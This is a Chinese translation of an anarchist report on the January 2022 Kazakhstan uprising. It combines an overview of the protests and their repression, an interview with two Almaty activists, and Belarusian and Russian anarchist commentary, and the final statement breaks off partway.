今天，我们感到惊讶 —— 我们甚至可能经常不在街头的人们中间，他们肩并肩地参与战斗和防卫，或者做其他重要的工作来支持起义。为了做好准备和联系，我们需要能够面对我们社区内和整个社会内的矛盾。在这样的情况下，我们需要能够与我们周围的人沟通我们的想法并带来建议。矛盾、分歧和孤立正在扼杀那些本来可以为斗争奉献生命的同志们。

当我问自己，需要什么才能让我们在街头和人们的家里看到对方，一起行走，互相照顾，一起战斗，我在想象我们可以以不同的方式接近对方，使对方有可能加入斗争，共同发展，互助生存。

我们可以问自己：在我们如何对待彼此和他人，如何对待斗争和我们的运动方面，我们需要改变什么，以使它们成为生活和灵感的来源，能够为人们提供思考、斗争和生活的方式？

例如，我们记得哈萨克斯坦的女权运动，在2010年代的一些年里，它

是公众关注和讨论的中心，它出版了一本女权杂志，在哈萨克斯坦以前所未有的方式提出这个话题，沿着家庭暴力和父权制的断层连接了很多团体和社区。这是一个例子，说明我们如何定位自己的问题，将我们与社会中其他更广泛的人们联系起来。

我们这些前苏联国家有着令人印象深刻的抵抗和起义的遗产可以借鉴。我们需要相互联系，以便我们能够利用这一遗产。

声援和支持在哈萨克斯坦和所有后苏维埃国家战斗的每个人！正如人们所说，狗可能会吠叫，但大篷车将继续前进。今天，他们可能会踩着我们的脖子，但斗争不会停止，那些倒在阿拉木图街头的人们不会被遗忘！

> 推翻政府是必要的，但这还远远不够：为了抵御未来的政治和经济强加，普通人将不得不在横向、分散的基础上发展集体力量。这不是一天或一年的工作，而是一代人的工作。

○□

The Uprising in Kazakhstan

原文

这个名叫 "国家" 的监狱：起义后的哈萨克斯坦 - 腰缠万贯的镇压者、谣言和烈士的火种 - iyouport

反抗者-寻求经验

本文应有助于驳斥哈萨克斯坦、俄罗斯、美国当局发表的错误信息，以及被这些信息渠道所误导的支持者，对这场起义的任何肤浅的曲解。

- 在街头战斗的人究竟是谁？
- 镇压者究竟是谁？
- 谣言弥漫全世界，各国官方媒体发布的都是错误信息，这里面究竟谁在获益？
- 统治阶级不惜政治自杀，也要保护自身权力地位，这背后的原因是什么？
- 一切真的结束了吗？
- 大部分人民如何从依赖政府、幻想“国家崛起”、渴望“社会稳定”的奴才，变成了舍命拼搏的革命者？
- 中产阶级的年轻人如何成为了政治活动家？
- ……

继上周对哈萨克斯坦的起义进行报道后，局势一直在不断演进。本文翻译了来自俄罗斯各种无政府主义来源对局势的一系列观点，并采访了来自阿拉木图的两名无政府主义者，阿拉木图是哈萨克斯坦最大的城市，也是战斗最激烈的地方。

这篇文章还包括在阿拉木图的联系人所拍摄的以前从未发布过的照片。

希望所有相关内容能够帮助中国未来的行动者获取必需的经验教训。1 月 6 日：阿拉木图的景色。摄影师：“大火散发着浓雾；现在一切看起来都像是核冬天。”

以下资料应有助于驳斥哈萨克斯坦、俄罗斯、美国当局发表的错误信

息，以及被这些信息渠道所误导的支持者，对这场起义的任何肤浅的曲解。

对于那些散布美国试图在哈萨克斯坦策划一场“颜色革命”的阴谋论的人，我们必须指出，抗议活动是针对该国政府取消燃气补贴而激发的，而燃气是在哈萨克斯坦有利可图的国家垄断下生产的。那些为哈萨克斯坦和俄罗斯政府辩护的人是在为镇压势力辩护，这些势力正在将新自由主义的紧缩措施强加给以开采为基础的经济中被剥削的工人们。

所有真正反对资本主义的人的光荣地位应该是站在普通工人和其他反抗统治阶级的人一边，绝对不是支持那些声称代表抗议者而又把抗议者枪杀和监禁的政府。

这并不是说哈萨克斯坦的冲突代表了一场统一的反资本主义斗争，也并不能说它代表了一场劳工运动。关于抗议活动构成的最可信的说法承认，有各种各样不同的参与者利用不同的战术来追求不同的议程。这是一个混合状态。当然，如果我们同情那些抗议生活成本上涨的工人，我们也能理解为什么失业者和被边缘化的人们可能参与抢劫。

像哈萨克斯坦的起义这样的危机打开了一个社会中的所有断层线。每一个预先存在的冲突都被推到了一个突破点：种族和宗教的紧张关系，统治精英之间的竞争，地缘政治对影响力和权力的争夺。我们已经在法国的黄背心运动和美国的乔治·弗洛伊德起义及其后果中，在较小的程度上看到了这一点，尽管这些危机并没有像哈萨克斯坦的起义那样发展，在那里，由于根深蒂固的专制权力结构，任何斗争都会立即成为一种全有或无的冒险。

如果真如我们所论证的那样，哈萨克斯坦的抗议者是在反对我们所有人在世界各地所面临的同样的威胁，那么六支军队的士兵对这些抗议者的暴力镇压就提出了我们所有人都必须面对的问题。随着经济、政治和生态灾难在世界各地接二连三地发生，这样的真相时刻已经变得几乎不可避免。

我们如何提前做好准备，以便最大限度地提高反抗的可能性，尽管所有的力量都在反对我们？在这种具有革命潜力的时刻，我们如何向与我们一起组成这个社会的其他人提出变革性的问题，将冲突的路线集中在最有生成性和解放性的轴线上，即使我们不得不与各种旨在集中各自自己的意识形态和利益的“派系”竞争？我们如何避免阴谋论和操纵，避免失败主义和挫败？

以下与俄罗斯无政府主义者合作组成的概述中，将介绍对前苏联地区出现的哈萨克斯坦起义的分析，然后分享在镇压后互联网接入重新建立后对阿拉木图无政府主义者进行的采访，以及来自白俄罗斯的观点，和来自俄罗斯无政府主义者对起义的支援声明。

📌 本文分为以下部分：# 这个名叫 “国家” 的监狱

- “瓦哈比人、恐怖分子、抗议者”—— 关于这场起义的无数谣言；
- 延迟了三十年的春天；
- 从扎瑙津到阿拉木图；
- 纪念死难者；
- 采访：阿拉木图无政府主义者的目击证言；
- “二十一世纪的殖民主义”—— 白俄罗斯无政府主义者的视角；
- 俄罗斯无政府工团主义者和无政府主义者关于哈萨克斯坦局势的声明

1月5日在阿拉木图；由 Zhanabergen Talgat 拍摄。

这个名叫 “国家” 的监狱

「图」

从1月1日开始，最初只是对生活费用上涨的一次抗议，后来升级为全国性的全面起义，目前已被国内和国外的军事力量联合起来残酷镇压。

起初，抗议者要求政府辞职，降低燃气价格，并解除前总统努尔苏丹·纳扎尔巴耶夫（哈萨克斯坦的灰衣主教）—— 国家安全委员会主席的职务。这几天全国的口号变成了 “Shal ket！”（老家伙滚蛋）。 随着抗议活动的发展，人们很快就不希望同意任何不彻底改变政府的做法了，包括将现任总统卡西姆·克梅列维奇·托卡耶夫赶走。

该政权试图镇压抗议活动。然而，抗议者设法从警察手中夺取武器并进行反击，抢劫商店，烧毁或占领市政大楼。托卡耶夫总统宣布进入紧急状态，并派出军队对付抗议者，命令对任何敢于反抗的人格杀勿论。同时，托卡耶夫正式向集体安全条约组织（CSTO，由俄罗斯和几个邻国组成）请求支持，以恢复对该国的控制。https://t.me/iyouport/9195

据哈萨克斯坦内政部称，近8000人在示威期间被捕，至少有164人被

杀；此后，流传着更高的数字。据报道，一些知名的博客作者和工会领导人都已经失踪。互联网被关闭了好几天。人们在广场上和街上被狙击手和其他士兵射杀。

对起义的军事镇压，包括集体安全条约组织的军事干预，对结果起到了关键作用。截至1月10日，媒体报道和哈萨克斯坦人民的证词显示，阿拉木图的战斗已经被迫停止，其他城市的群众集会也已停止。

以下是来自俄罗斯的无政府主义平台 Anarchist Fighter 在其 Telegram 频道发表的分析：

1）集体安全条约组织的干预—— 哈萨克人中所有或多或少理智的人都认为这是“老大哥”对其主权的干预和企图。这些部队在该国的存在每小时都在增加厌恶和愤怒的情绪。

2）专制统治并没有消失—— 托卡耶夫总统将更多的权力集中在他自己手中，邀请外国军队，命令他的部队“不加警告地射击”…… 但哈萨克斯坦人民不习惯政府的暴行。这并不能阻止他们，而对政府的不满情绪也不会消失。

3）如果不对社会公正进行根本性的变革，经济危机就不会停止。表面上的强制执行基本上只是推迟涨价的时间。统治阶级并没有提出克服贫困和减少社会不平等的任何措施。因此，统治阶级制造的不满情绪也不会减弱。21世纪的所谓社会秩序只能靠不断升级的蛮力来维持。

“瓦哈比派、恐怖分子、抗议者”—— 关于这场起义的无数谣言

「图」

根据 avtonom.org 的播客“秩序和混乱的趋势”：

> 哈萨克当局正在极力挽回面子，构建他们的现实版本。惩罚性暴力镇压行动被称为“反恐”，似乎任何以暴力手段反对当局的人都是“恐怖分子”。革命者被称为“好战分子和土匪”，并咬牙切齿地宣称“他们必须全部被杀死”，而起义的原因被扭曲为“自由媒体和外国势力”，这简直就是托卡耶夫的口头语。

从战斗一开始，哈萨克本土媒体和外国媒体都对抗议者的身份进行了

宣称。其定义从“抗议者”、“好斗的年轻人”和“掠夺者”，一直到“民族主义队伍”、“攻击阿拉木图的2万名土匪”和“伊斯兰恐怖分子”。诚然，各种团体和派别都参与了起义，但这本身并不是一个问题——整个社会在起义中都有代表，其中有各种差异和矛盾。可以认为，不同的人参与了反对政权的不同行动，包括战斗和抢劫。

来自“无政府主义战士”的信息：

> 记者 Maksim Kurnikov 在 Ekho Moskvy 的早间广播中说了一些非常有趣的事。他说，“从枪支库房拿走武器，然后攻击镇压部队”的计划在哈萨克斯坦并不新鲜。

关于伊斯兰原教旨主义者参与事件的说法在某种程度上有可能是真的。但是，同样可以肯定的是，当局会利用任何有关他们的信息来诋毁所有参与起义的其他团体、其他身份的参与者。经济上的绝望以及社会和政治上的迫害往往促使人们走向原教旨主义以及其他形式的激进主义。**https://www.patreon.com/posts/xin-xi-tong-dao-60928307**

关于哈萨克斯坦权力结构内部冲突的各种传言和关于起义中地缘政治计划的猜测，都可能是真的；但是，将这些谣言和猜测提升到关于哈萨克斯坦发生的事的叙述中的中心位置，绝对是一种政治选择：这是一个否认无数普通人出于自己的原因参与起义的决定。就像所有的阴谋论一样，这假定在这种情况下唯一有能力的人是阴暗的全球权力参与者；它还有助于转移人们对那些大家都知道正在发生的明显事件的注意力，比如哈萨克斯坦的政治精英们以其他所有人的经历为代价获利。

谣言和猜测有助于影响事件本身以及其他人理解和参与事件的方式。无论真实与否，这些干预措施都有助于将注意力集中在某些人物身上，传播关于世界如何运作的某套假设。如果这些阴谋论对起义参与者的怀疑足以转移人们的注意力，让人们不去支持那些为自己的生存而站起来反对经济剥削和政治统治的抗议者，那么它们就成功地达到了让世界各地的人们都去依赖政治精英的目的。抗议者洗劫阿拉木图总统官邸后被扔出来的宝座。

托卡耶夫本人毫不犹豫地提出了最离谱的叙事，声称无法确认据称“领导叛乱的国际恐怖分子”，因为他们的尸体已经从停尸房被盗。据“无政府主义战士”报道；

> 这就像是声称，即使恐怖分子已经死亡，也不能让公众看到。他们的战友直接从停尸房绑架了死者!

除了谁参与了起义的问题之外，重要的是要问：谁在从对起义的镇压中获益。正如一篇评论所言：

> 普京不是一个民族主义者，而是一个担保人。他保证后苏联精英阶层的安全和他们的财产安全。他过去只在俄罗斯联邦保证这一点，但现在看来，他在哈萨克斯坦也保证这一点。毕竟，那里也有俄罗斯的资本。

1月5日阿拉木图市中心； Zhanabergen Talgat 拍摄的照片。

延迟了三十年的春天

「图」

同样，根据 avtonom.org 的播客；

> 哈萨克当局和托卡耶夫总统首先不信任他们自己的警察和政府机构。警察和军队已经开始站在起义者一边，很明显，各种结果都有可能。在这种情况下，托卡耶夫决定采取最后的极端做法—— 从邻国调来镇压部队。这是政治上的自杀：事实上，他承认他是在与自己的人民，甚至与自己的国家机器，作战。

哈萨克斯坦的局势升级得非常快—— 不仅是抗议活动，还有镇压抗议活动的残酷性。街上的战斗是哈萨克斯坦人民的耐心几十年来被考验的结果。哈萨克斯坦社会以前也出现过街头战斗和枪击事件 —— 比如 1986年，米哈伊尔·戈尔巴乔夫的政府镇压了阿拉木图的一场起义，进行了一场大屠杀；而在2011年，警察在扎瑙津枪杀罢工的工人，杀死了几十人。

当国内军事干预的第一个消息传出时，这似乎并没有给起义带来重大挫折。街头战斗并没有因此而停止，相反，战斗还在加剧。我们看到了被解除武装的士兵在人群中的视频，人们欢迎这些权力的支柱改变立场。

然后，互联网被关闭了。官方给出的断网理由是 “防止在阿拉木图作战的各国恐怖分子与他们的总部协调”。这导致来自起义发生地的信息严重缺乏，使得事件更容易被操纵式表述或歪曲。在一个一切都被

拍摄、拍照、上传和分享的时代，切断社会起义的通信手段有助于将其从现实中抹去，为虚假信息的滋生提供了空间。防暴警察从他们的有利位置拍摄哈萨克斯坦的战斗。信息战总是发生在不平坦的战场上。

然而，最重要的事件之一发生在众目睽睽之下：集体安全条约组织的干预。这一下子引起了许多矛盾。它被正式指定为“集体安全条约组织的维和援助”，包括来自亚美尼亚和塔吉克斯坦的多达200百名士兵、独裁者卢卡申科派遣的来自白俄罗斯的500名镇压者（卢卡申科最近刚刚镇压了自己国家的一次起义）、还有数量不详的吉尔吉斯士兵，以及来自俄罗斯的3000名士兵。重要的是，被调入哈萨克斯坦的俄罗斯伞兵由阿纳托利·谢尔久科夫指挥，他在车臣战争、吞并克里米亚和叙利亚的战争中经验丰富。我们可以看到俄罗斯的帝国活动在这里得到充分展示。

在哈萨克斯坦，该政权正努力通过任何必要的手段保持权力，不惜邀请邻国的独裁政权入侵。对于哈萨克斯坦人民来说，这应该意味着托卡耶夫在他们眼中可能具有的任何合法性的最终丧失。该地区的每个人都可以看到，集体安全条约组织代表了其政府的团结，共同抵抗其人民。

据 avtonom.org 报道：

> 一个把自己国家的人民称为“恐怖团伙”的总统，即使按照后苏联专制“共和国”的标准，也是一个绝对的低谷了。

1 月 7 日在阿拉木图拍摄的一辆军车烧毁的外壳。没有哪个政府是不可战胜的，即使是最强大的帝国也不例外。

从扎瑙津到阿拉木图：纪念死难者

「图」

来自“无政府主义战士”：

> 哈萨克斯坦目前的起义是从扎瑙津的抗议活动开始的。2011年12月，在同一个城市，当局枪杀了大批罢工的石油工人。扎瑙津的悲剧在哈萨克斯坦的抗议文化中留下了深刻的印记。

起义的残骸：起义后的阿拉木图。

采访：阿拉木图无政府主义者的目击证言

「图」

为了获得更多关于哈萨克斯坦事件的观点，我们联系了两位无政府主义女权主义者，她们亲眼目睹了起义的一些场面。他们没有在冲突的前线，但她们是著名的活动家，多年来一直参与该市的女权主义组织。所以他们是我们能找到的对事件最接近“中立”立场的人。2021年 3 月 8 日国际妇女节，阿拉木图的无政府主义女权主义者。

Q：介绍一下你们自己和你们所处的情况？

A：我们是来自哈萨克斯坦的无政府主义者，都是她/他。在过去的11年里，我们在阿拉木图参加了许多左翼无政府主义-女性-生态、动物解放、素食主义者的活动，但目前我们并不那么活跃。

我无法说出21世纪哈萨克斯坦的无政府主义运动。20世纪90年代有一些地下活动，但就目前而言，没有这样的活动存在。我曾经参加过一个左翼马克思主义团体：会议、阅读小组、一些公开讲座。我不知道那些留在这里的前成员现在在做什么。我没有听说这里有什么“左翼”团体。

我是这里最早的女权运动之一的组织者之一—— Kazfem。我们组织了许多公共活动和表演，出版了一本名为 Yudol’ 的女权主义杂志，并为3月8日[国际妇女节]组织了示威活动。

这里有一个叫 Oyan Kazakhstan（“醒来吧，哈萨克斯坦”）的青年自由意志主义运动，现在正在活跃。他们组织公众集会、表演、游行，并经常受到警察的骚扰。它是在2019年贝巴瑞斯·托林别科夫和阿斯亚·图列索娃在城市马拉松上进行的横幅行动后开始的。他们被监禁了15天，这引发了一大波关注，尤其是在社交媒体上，这在以前是没有过的。有一种阴谋论认为，所有这些活动家都是亲政府的，因为现在没有人在监狱里，但我认为这不是真的。我认识他们中的许多人。他们也支持女权主义和LGBTQ活动。在反对的一方，主要是互联网上的仇视者和一些政府媒体）人们声称所有这些都是“西方”（欧洲和美国）所为。

哈萨克斯坦是一个独裁国家。我们28年只有一个总统[努尔苏丹·纳扎尔巴耶夫]，而新的总统[哈斯穆-卓玛尔特·托卡耶夫]只是一个傀儡。

但当第一任总统辞职后，人们开始考虑改变。围绕努尔苏丹·纳扎尔巴耶夫的个人崇拜并没有在他辞职后消失。首都阿斯塔纳被重新命名为“努尔苏丹”，这引起了许多抗议。在过去的几年里，经济形势一直在恶化，特别是在大流行病之后，通货膨胀率非常高，腐败猖獗等等。另外，有很多人把我们的土地卖给和租给了中国和其他国家。

情况一直是这样的—— 但在十年前，甚至五年前，有更多的人忠于总统，害怕社会“不稳定”。当时，人们希望哈萨克斯坦正在“发展”，幻想着事情很快就会好起来。

即使是在**2011**年扎瑙津事件发生时，当抗议的工人被枪杀时，阿拉木图的支持也非常少。许多人认为，那里发生的事是“正确的”。

以前，如果有任何抗议活动，都是由老一辈人、工人和来自各地区、各村镇的人组织和支持的，通常由阴暗的流亡领导人穆赫塔尔·阿布利亚佐夫 (Mukhtar Ablyazov) 领导。但在过去三年里，来自城市中产阶级的年轻人成为了政治活动家。主要是来自阿拉木图的人，但在其他城市也有支持。

顺便说一下，我认为阿拉木图的生态问题—— 我们在这里经历了极高的污染水平，而且每年都在恶化—— 是这里的青年抗议的一大原因。当然，除了社交媒体的发展之外。阿拉木图市中心，1 月 5 日。

Q：你们上周在阿拉木图经历了什么？

A；新年过后不久，开始有消息说扎瑙津的工人起义。抗议活动是和平的，但诉求相当激进—— 从降低燃气价格到政府辞职不等。其他城市也开始了抗议活动。人们知道1月4日在阿拉木图将有声援行动，但我没有确切的信息。

那天在回家的路上，我了解到该市不同地区的抗议活动，以及[上述青年自由运动] Oyan Kazakhstan 的活动家被逮捕的消息。我住在城外不远的山上，在家里就已经很清楚，有严重的事情发生了。晚上，所有的网络连接都断了。我不知道该去哪里，也不知道能不能回来。

关于那段时间城市里发生的事，我的战友、政治记者达尼亚尔·莫尔达别科夫写道：

> 当示威者走近广场时，警察开始发射眩晕榴弹和催泪瓦斯。我和其他数千人被呛到，我们的眼睛和脸被刺痛，我们不停地咳嗽。我没有晕倒简直是个奇迹。从

> 晚上11点到凌晨4点，他们肯定发射了一百多枚眩晕榴弹，这时我的同事不得不把我送回家。我在公寓里仍能听到爆炸声。

人们整晚都能听到爆炸声。我一度拒绝相信。早上，通过手机新闻看到了这个消息。我给大家打了半天的电话，听说了受害者的情况，被捕活动家的消息。只有在一些朋友的家里才有可能上网。市政厅大楼被占领。每个人都在劝说我们留在家里。由于猜测抗议活动可能具有民族主义特征，一些人开始害怕（我在哈萨克斯坦是俄罗斯族）。

当时没有关于究竟是谁在广场上或城市里的信息。我和我的朋友决定亲自去看看。1 月 5 日，阿拉木图市中心。

这座城市空了一半。挂着哈萨克国旗的汽车在街上行驶，喊着一些欢快的口号。一切都是封闭的。门上挂着 “我们与人民在一起” 的牌子。一种兴奋的气氛。当我们越来越接近广场时，有更多的年轻人群在那里。我看到一条警察的肩带被扔在路上。有的人拿着棍子在集合。这变得有点吓人，但没有看到任何攻击性。在1986年事件（反对苏维埃政权的起义）纪念碑前，我们遇到了手持警察盾牌的抗议者。没有看到任何警察或士兵。1 月 5 日，阿拉木图市中心。门上的标语上写着“我们与人民同在”。

然后我们看到议会大厦在燃烧。我们简直不敢相信自己的眼睛。每个人都很平静。他们砸开了议会大厦对面大楼的门。那里有电视频道和其他政府服务。男人们再次向我们走来：“你们为什么来这里？” (他们的意思是—— 你们这些俄罗斯族的人为什么要来？)

我回答说：“这是我的城市和国家，也是你们的”。他们欢快地问候我们。我们没有感受到来自他们的任何侵略性。

我们向抗议者提供了热茶。这名男子告诉我们，他从一开始就参加了抗议活动—— 一切都从和平开始的，直到当局开始引爆闪光弹和使用暴力。

他说，“现在，他们正在射杀战斗人员”。警卫们只留在议会大厦附近。

他和那里的其他人都看到有人被射中了头部。他们打电话给出租车公司，把受伤的人抬上汽车，送去医院。他告诉我们，他们计划占领机场，这样俄罗斯军队就不能在那里降落。

许多资产阶级高级政府和商界人士已经乘坐私人航班离开了该国。有传言说，纳扎尔巴耶夫也已经离开了该国。

我们在广场上看到的人没有任何一个看起来像所谓的“掠夺者”[原文如此]。

他们希望政府辞职。他们不是在执行命令；并没有任何人在拉拢他们。这是一场全国性的劳工起义。没有人害怕死亡，但我们没有看到任何愤怒。他们给我们看了橡皮子弹造成的伤害，并警告我们，很快就会有严重的枪击事件，让我们最好离开。

爆炸声和枪声越来越近，越来越频繁。我们离开了。一个人用他的车送了我们一程。在那些日子里，人们都在相互支援。

我和我的朋友们决定一起留在我的家里。我们都感到很兴奋。这时还没有出现任何关于破坏、抢劫和平民伤亡的新闻。在1月5日和6日的午夜，所有互联网连接被关闭。四天来，我们与世隔绝；我们只能拨打和接听电话，而且这个仅存的通讯渠道并不好用。

那天晚上，整个城市的所有服务都被放弃了，包括消防部门和医疗服务。火灾完全是由志愿者扑灭的。另外，一些抗议者和志愿者试图阻止“强盗”。

1月7日，只有远离市中心的一些商店和自动提款机还能用。在城市的那一部分，除了广场周围被烧毁的政府大楼外，大部分东西都很清楚。一些服务部门在那里工作。前一天，我们有可能进入这些建筑；没有人看守它们。这一次，我们拍了一些照片，然后附近传来一声枪响，我们离开了这个地区。

1月9日晚，可以通过代理服务获得互联网连接。手机连接仍然无法使用。1月10日上午，各地的连接都能正常使用，但只到下午1点，然后是从下午5点半到7点半。1 月 5 日，阿拉木图市中心。

Q；哈萨克斯坦境外有很多关于这场抗议活动“背后”是谁在主导的讨论。这些指责是否有任何可信度？我们也看到一些新闻报道称，权力机构内部敌对派别之间的冲突也是造成这种局面的原因。你认为伊斯兰原教旨主义在这些事件中的参与程度如何？

A：尽管有关于托卡耶夫总统退休的传言，但事实上他仍在执政。现在政府的电视频道和媒体正在散布大量的虚假信息和政治宣传。现在下结论还为时过早，但有些事情是清楚的。

一切都是从民众起义开始的。是的，他们烧毁了议会大厦，但并没有如何人领导他们这样做。他们只是想让旧政权消失。他们不是“罪犯”[原文如此]。

起义开始后，一些其他力量出现了。我们不知道他们是谁。但他们确实是有组织的。但是由谁组织的呢？关于这点现在有很多传言。一些官方媒体说他们来自[邻国]吉尔吉斯斯坦，那里自独立以来已经发生了几次革命[与哈萨克斯坦一样，吉尔吉斯斯坦在1991年苏联解体时独立]。这些媒体也在传播有关塔利班或圣战分子的报道。我认识的人说，他们在街上看到了“看起来像这些人”的人[原文如此]。

在哈萨克斯坦，我没有看到任何关于CIA[美国政府的中央情报局]的谈话。我认为那是俄罗斯的宣传。

那位前总统顾问一直在宣称政府机构内部有阴谋，声称几年来在山区有“训练营”，说国家安全委员会隐瞒了这些信息。他声称自己“有独家消息，例如，在机场遇袭前40分钟，有人下令完全撤除封锁线和警卫”。阿拉木图，1 月 7 日。

Q：对于起义的内部动态，你能说些什么吗？

A：哈萨克斯坦以外的每个人都在试图分析正在发生的事，如果没有背景，就很难做到这一点，而国内的人由于缺乏完整的信息，也无法做到这一点。我认为，即使是我们—— 这个国家的居民，在很长一段时间内也不会明白发生了什么。除了现在没有稳定的互联网连接，此前甚至没有手机连接，所有的新闻频道都被严重审查，而且情况只会越来越糟。

我不会描述现在流传的理论，但它们都涉及纳扎尔巴耶夫氏族和其他寻求权力的人之间的不同权力斗争—— 例如，有一种理论认为，托卡耶夫在俄罗斯军方的协助下，正在确保其权力地位。

这一切的可怕之处在于，数以万计的人参与了这场斗争，他们为了所有人的利益，善意地试图改变这个国家的社会和政治状况，但现在却被少数人所利用，以新的方式在他们之间瓜分这个国家的资源。是的，这一切开始于哈萨克斯坦西部工人的经济要求，他们抗议燃气价格的大幅上涨。然后，这些要求变成了政治要求：要求政府和总统辞职，选举市长，以及建立议会制共和国。有些要求得到了满足，但不是一下子就能做到的，当这些要求被忽视时，抗议和声援的浪潮蔓延到了哈萨克斯坦的所有城市，所以从外面看，这就像一场大的革命爆发，在这个国家三十年的专制制度下，这是前所未有的。

我们现在不能确定任何事，除了一件事 —— 这场起义并没有公共领导人，街头暴动和占领行政大楼也没有提出任何诉求。但在民众中发生了谋杀和大量的受害者，他们先是在与警察的战斗中受苦，然后在街头相互厮杀，警察逃离，然后哈萨克斯坦和集体安全条约组织的武装部队在街头射杀平民（尽管他们后来向社会承诺他们现在开始 “只保护国家设施”）。

被允许继续运作的大众媒体开始向我们讲述所谓的激进分子和伊斯兰教徒，使用 “境外敌对势力” 的形象。在此之前，在抗议活动的头几天，有一种言论呼吁 “与抗议者进行和平对话”—— 而一天之后，已经有了开枪杀人的命令（在托卡耶夫总统的讲话中）。集体安全条约组织的军队进入后，两天来街头枪声不断，托卡耶夫将抗议者等同于 “恐怖分子”，甚至包括活动家和人权维护者，用他的话说就是，“独立媒体已经成为社会稳定的威胁”。

在这个寻找敌人的过程中，国家话语不断变化：昨天这个敌人还据称是来自吉尔吉斯斯坦的受贿失业者，今天已经变成了来自阿富汗的激进分子。他们可能永远不会说那些人是过去三年来一直在哈萨克斯坦倡导政治改革并出来参加集会的活动家。1 月 5 日，阿拉木图市中心。

Q：能告诉我们关于镇压的情况吗？

A；吉尔吉斯斯坦音乐家维克拉姆·鲁扎胡诺夫（Vicram Ruzakhunov）被哈萨克当局作为 “恐怖分子” 逮捕并施以酷刑，被迫录制视频以电视 “认罪”。现在他已经自由了。

当地的独立记者 Lukpan Akhmediyarov 已被逮捕。另一位独立记者 Makhambet Abjan 发来消息说，1月5日，警察来到他的公寓；而现在他已经失踪。我的朋友和社交媒体上的许多人都在报告说，他们的亲戚和朋友也失踪了。

官方已经确认了数百名受害者的死亡，包括两名儿童。工会的积极活动家也失踪了—— 包括库斯潘·科什古洛夫、塔基尔·埃尔达诺夫、和阿明·埃利辛诺夫及其亲属。

在阿拉木图，Dozhd 频道（Телеканал Дождь）的记者只是试图在市立停尸房拍摄照片，而遭到枪击。

1月6日，志愿者们来到了广场。一些活动人士打出了 “我们不是恐怖分子” 的横幅。警察向他们开枪，至少打死一人。1月5日阿拉木图市

中心； Zhanabergen Talgat 拍摄。

Q：您认为俄罗斯军队进入哈萨克斯坦，从长远来看，将如何改变局势？

A：俄罗斯军队的进入是非常令人担忧的。在与乌克兰发生战争的情况下，我们可以想象所有最糟糕的情况。我认识的每个人都同意，这是不合适的，我们可以称之为占领。

就我个人而言，我担心俄罗斯军队进入这个国家将巩固俄罗斯在政治上对哈萨克斯坦已经很强大的影响，哈萨克斯坦将变得像我们现在所知道的俄罗斯一样，活动家被折磨，案件被捏造。我们这里的政治反对派已经被完全压制了，这个国家的民众也被完全恐吓。考虑到这是抗议期间的第二次枪击事件（2011年和2022年），在哈萨克斯坦的历史上，1986年苏联时期也曾残酷镇压过一次起义，而关于当时究竟有多少人被杀的信息，至今仍然是保密的 ..... 在不久的将来，我们也没有希望知道真正发生了什么，有多少人被杀和受伤。这个数字很可能达到数千人。

Q：你认为接下来会发生什么？

A：现在想象结果还很早，在信息战、政治宣传和社会孤立的情况下。我不是一个政治专家。

可以肯定的是，现在镇压会加剧。互联网和所有媒体都会被审查。现在政府试图装出一副“好面孔”，装得好像他们是把我们从恐怖分子手中拯救出来的救世主。我不确定这是否会奏效。但就目前而言，我认为它将是安静的。人们太害怕太震惊了。

Q：哈萨克斯坦以外的人可以做些什么来支持你们或那里的其他人吗？

A：当然，要传播信息。也许很快就会有更多的镇压发生，一些活动家将需要获得帮助才能离开该国。

最重要的支持是信息方面的。2019年，在总统选举之后，我们都在集会上被逮捕了，唯一能写到这点的是外国媒体和独立的哈萨克斯坦媒体（这些媒体非常少，网站经常被封锁）。现在非常重要的是，哈萨克斯坦血腥的一月*并不像*许多左翼出版物所写的那样只是一幅美丽的革命图景，而且也*绝对不是*所有来自不同国家的官方消息来源所说的那样“来自境外的恐怖行为”。

“二十一世纪的殖民主义”—— 白俄罗斯无政府主义者的视角

「图」

哈萨克斯坦的抗议活动开始至今只有几天时间。示威者的决心很快将抗议活动变成了一场反对纳扎尔巴耶夫/托卡耶夫政权的全面革命。捣毁行政大楼、罢工和游行席卷全国，到1月5日晚，阿拉木图已经完全摆脱了统治精英们。

对于抗议者的迅速成功，托卡耶夫以枪击、暗杀和把军队引入全国各个城市作为回应。为了维护自己的权力，这位独裁者再一次开始让人民流血。但是，哈萨克独裁政权和白俄罗斯独裁政权一样，存在于俄罗斯的政治影响范围内。这就是为什么在阿拉木图解放后的几个小时里，有很多人在谈论莫斯科对起义的干预。

首先，人们想起了集体安全条约组织，这个结构正是预示着普京的宪兵角色，随时准备扑灭亲俄独裁政权发生的解放之火。求助是一种形式，而逐步行动很可能是在普京、卢卡申科和托卡耶夫之间的电话中商定的。

莫斯科在公民抗议政权的过程中入侵哈萨克斯坦，向世界表明，普京将集体安全条约组织国家视为殖民地，从俄罗斯降临的制度将在其中存在。早在2020年白俄罗斯的抗议活动期间，许多人都担心会引入俄罗斯军队来帮助卢卡申科。然后，这位独裁者在避免不必要的国际冲突的情况下自行处理了。最近几天的抗议活动，如果没有外部干预，很可能会在几天或几周内结束纳扎尔巴耶夫氏族建立的政权。

但现在，一支惩罚性的远征军已经进入该国，目的正是为了稳定这个独裁政权。任何关于恢复和平与友谊的故事都是莫斯科宣传者的公然谎言，他们试图指责 “外部势力” 组织抗议活动，同时公布俄罗斯军队向哈萨克斯坦进军的爱国视频。

人们不应指望俄罗斯社会内部对这种殖民战争有多大的愤慨—— 对任何政治团体的镇压都难以为组织抗议活动留下空间。在白俄罗斯，镇压的情况更加惊人。唯一有趣的情况是吉尔吉斯斯坦，其议会没有批准支持集体安全条约组织在该地区的行动。

普京的行动表明，他准备支持忠于他的集体安全条约组织的独裁政权。对于莫斯科感兴趣的国家的普通人来说，这种行动威胁着建立自由社会的任何尝试。俄罗斯帝国仍然是一个人民的监狱。而哈萨克斯

坦、白俄罗斯或前苏联其他地区的解放，不仅是这个国家的人民的事，也是所有不得不生活在这个帝国中的人的当务之急。

我们只希望哈萨克斯坦人民能表现出足够的决心，不仅要打倒托卡耶夫，还要打倒普京。1 月 6 日：第二天，烟雾中的阿拉木图。

俄罗斯无政府工团主义者和无政府主义者关于哈萨克斯坦局势的声明

「图」

我们，俄罗斯的无政府工团主义者和无政府主义者对哈萨克斯坦劳动人民的社会抗议表示充分和完全的声援!

哈萨克斯坦目前爆发的社会抗议，是新世纪以来最突出、最耀眼的一次，成为该国石油工人和其他类别工人罢工斗争浪潮的顶点，自去年夏天以来一直没有停止。

